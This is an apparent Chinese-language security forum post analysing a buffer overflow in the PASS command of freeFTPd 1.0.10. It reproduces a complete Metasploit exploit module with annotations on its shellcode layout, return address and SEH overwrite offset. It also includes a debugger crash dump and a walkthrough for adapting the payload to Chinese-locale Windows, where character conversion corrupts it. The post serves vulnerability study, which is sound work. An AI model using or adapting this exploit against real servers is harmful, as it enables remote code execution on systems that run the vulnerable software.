欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]freeftpd 1.10.0 PASS Command Buffer Overflow Analysis

[原创]freeftpd 1.10.0 PASS Command Buffer Overflow Analysis

标 题: 【原创】freeftpd 1.10.0 PASS Command Buffer Overflow Analysis

菜鸟贴,欢迎拍砖。
后面有三个问题,没有解决。
一
漏洞利用程序公布页面,上面可以下载exp和出现漏洞的程序。
http://www.exploit-db.com/exploits/28681/
二
exp是基于metasploit的,易于阅读。如下,加入了自己的理解(见#号后面的中文注释)

##  
    # This file is part of the Metasploit Framework and may be subject to  
    # redistribution and commercial restrictions. Please see the Metasploit  
    # Framework web site for more information on licensing and terms of use.  
    #   http://metasploit.com/framework/  
    ##  
    require 'msf/core'  
    class Metasploit3 < Msf::Exploit::Remote  
      Rank = NormalRanking  
      include Msf::Exploit::Remote::Ftp  
      def initialize(info={})  
        super(update_info(info,  
          'Name'           => "freeFTPd PASS Command Buffer Overflow",  
          'Description'    => %q{  
            freeFTPd 1.0.10 and below contains an overflow condition that is triggered as  
            user-supplied input is not properly validated when handling a specially crafted  
            PASS command. This may allow a remote attacker to cause a buffer overflow,  
            resulting in a denial of service or allow the execution of arbitrary code.  
            FreeFTPd must have an account set to authorization anonymous user account.#这句话的意思是FTP必须有匿名验证的帐号,程序默认用的帐户名是anonymous  
          },  
          'License'        => MSF_LICENSE,  
          'Author'         =>  
            [  
              'Wireghoul', # Initial discovery, PoC  
              'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module  
            ],  
          'References'     =>  
            [  
              ['OSVDB', '96517'],  
              ['EDB',   '27747'],  
              ['BID',   '61905']  
            ],  
          'Payload'        =>  
            {  
              'BadChars'   => "\x00\x0a\x0d",  
            },  
          'Platform'       => 'win',  
          'Arch'           => ARCH_X86,  
          'Targets'        =>  
            [  
              ['freeFTPd 1.0.10 and below on Windows Desktop Version',  
                {  
                  'Ret'    => 0x004014bb, #用这个地址覆盖了最近的SEH地址# pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]  
                  'Offset' => 801,  
                }  
              ],  
            ],  
          'Privileged'     => false,  
          'DisclosureDate' => "Aug 20 2013",  
          'DefaultTarget'  => 0))  
        register_options([  
          OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),  
        ], self.class)  
        # We're triggering the bug via the PASS command, no point to have pass as configurable  
        # option.  
        deregister_options('FTPPASS')  
      end  
      def check  
        connect  
        disconnect  
        # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"  
        # when banner grabbing.  
        if banner =~ /freeFTPd 1\.0/  
          return Exploit::CheckCode::Detected  
        else  
          return Exploit::CheckCode::Safe  
        end  
      end  
      def exploit  
        connect  
        print_status("Trying target #{target.name} with user #{user()}...")  
        off = target['Offset'] - 9  
        bof = payload.encoded  #shellcode
        bof << rand_text(off - payload.encoded.length)  #填充数据
        bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string  #跳到shellcode开头  
        bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string #跳到上面一句跳转,用两个跳转是为了对齐,直接用一个jmp长跳转指令超出了4字节  
        bof << rand_text(2) #上面一句跳转指令只有2个字节,这里补两个字节对齐  
        bof << [target.ret].pack('V') #覆盖SEH  
        send_user(datastore['FTPUSER'])  
        raw_send("PASS #{bof}\r\n")  
        disconnect  
      end  
    end  
    =begin  
    (c78.ea4): Access violation - code c0000005 (first chance)  
    First chance exceptions are reported before any exception handling.  
    This exception may be expected and handled.  
    eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18  
    eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0         nv up ei pl nz na pe nc  
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206  
    OLEAUT32!SysFreeString+0x55:  
    76c23e8d ff36            push    dword ptr [esi]      ds:0023:4141413d=????????  
    FAULTING_IP:  
    OLEAUT32!SysFreeString+55  
    76c23e8d ff36            push    dword ptr [esi]  
    EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)  
    ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)  
       ExceptionCode: c0000005 (Access violation)  
      ExceptionFlags: 00000000  
    NumberParameters: 2  
       Parameter[0]: 00000000  
       Parameter[1]: 4141413d  
    Attempt to read from address 4141413d  
    =end

三
测试的时候开始用中文版,exp过去没有反应,换成英文版(没有英文版的,把中文版的语言地区设置里的高级设置为英文,重启即可)就好了。
开始用OD下recv和send的断点,并没有定位到溢出点。如果不加载shellcode,发超长字符串过去,程序会直接退出,没有报错,估计是SEH处理了。
后来定位PASS字符串,在PASS字符串后下断点,一步一步来到溢出的关键函数。
如图1

图1
程序会把用匿名用户登录的情况保存下来,这其中包括输入的密码,就是PASS指令后的字符串。用的wsprintfA函数实现,输入的密码在图中是eax。wsprintfA执行完后,如果输入的密码够长,就能超出为wsprintfA申请的缓存区,从而覆盖掉栈里后面的数据。在这里不能覆盖函数返回点,因为在函数返回前,程序会调用
SysFreeString  

释放数据,而释放的数据有可能已经被超长的密码覆盖掉,从而就会出现异常,而会出现异常,我们只要覆盖掉最近的SEH就好了。exp正是这样做的。
看图2图3


当执行SysFreeString发生异常时,程序会跳转到0x004014BB去执行,执行了两次POP,ESP指向的内存变成了0012BA48,执行retn命令时,就跑出执行了栈里的数据。对应栈里两次jmp后,程序顺利到达shellcode执行。
shellcode也可以放在覆盖地址的后面,只是jmp往前跳不会出现00的机器码,而往后跳容易出现00机器码,这里是在密码字符串里溢出的,所以不能出现00。
四
调试了下,为什么中文系统里溢出没有成功,原因是程序在接受了PASS后的参数后执行了
MultiByteToWideChar
来保存密码,
然后在调用wsprintfA前又调用了
WideCharToMultiByte
还原数据。
在英文版的系统里,输入的字符串在这两个函数里进出是没有问题的。但是如果是中文系统,输入的字符中间如果满足一定的规律(应该是编码问题,我没搞明白怎么绕过),就会在两个函数执行后被改变,比如exp里的pop pop retn的地址0x004014BB
14BB
经过上面两个函数后,会变成
3F
而且前面的数据和shellcode里的数据也会被改变,所以中文版的没能成功触发漏洞。
虽然栈里用来覆盖SEH地址的数据被改变过了,但是栈里依然保存着原始数据,在覆盖地址的后面,大概200字节处。
为了在中文系统里顺利覆盖掉地址,SEH地址前面的数据必须精确计算,所以就用单字节数据,如全是0x41或者0x90,就不会被改变掉,从而顺利覆盖掉SEH地址(覆盖为0x0040101B是,这个数据在中文系统里也不会被转义),这时shellcode就应该放在SEH覆盖地址的后面。
但是问题也随之而来。
1,覆盖SEH选的地址是00开头的(就是程序本身进程模块里选的),接在00后的数据会被截断,从而没法没法进入栈中。
这时可以选择一些系统dll里的地址,避开00开头,但是随之而来,兼容性就降低了。
2, 因为shellcode在SEH地址的后面,retn完后,要jmp过去,但是超过了128字节,需要用长跳,会出现00,悲剧。
3, 那么就只有让shellcode小于128字节,整个密码里填写的数据就要像这样排列 {nop>>jmp shellcode>>jmp AA>>SEH>>jmp BB>>shellcode}(命名为块1)
虽然这个排列里的数据会被转码破坏,但是经过调试只要保证jmp和SEH处的不被破坏就行,nop不会被破坏。在溢出发生后,这个数据后后面,距SEH,200字节处会有未被破坏的数据(块2,依然是{nop>>jmp shellcode>>jmp AA>>SEH>>jmp BB>>shellcode}),只要jmp AA落在jmp BB上,jmp BB落在块2最前面的nop上,那么就能顺利执行这短小的shellcode。
4,有没有方法写出兼容中英文系统的exp

上传的附件 1.PNG
3.PNG
4.PNG

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功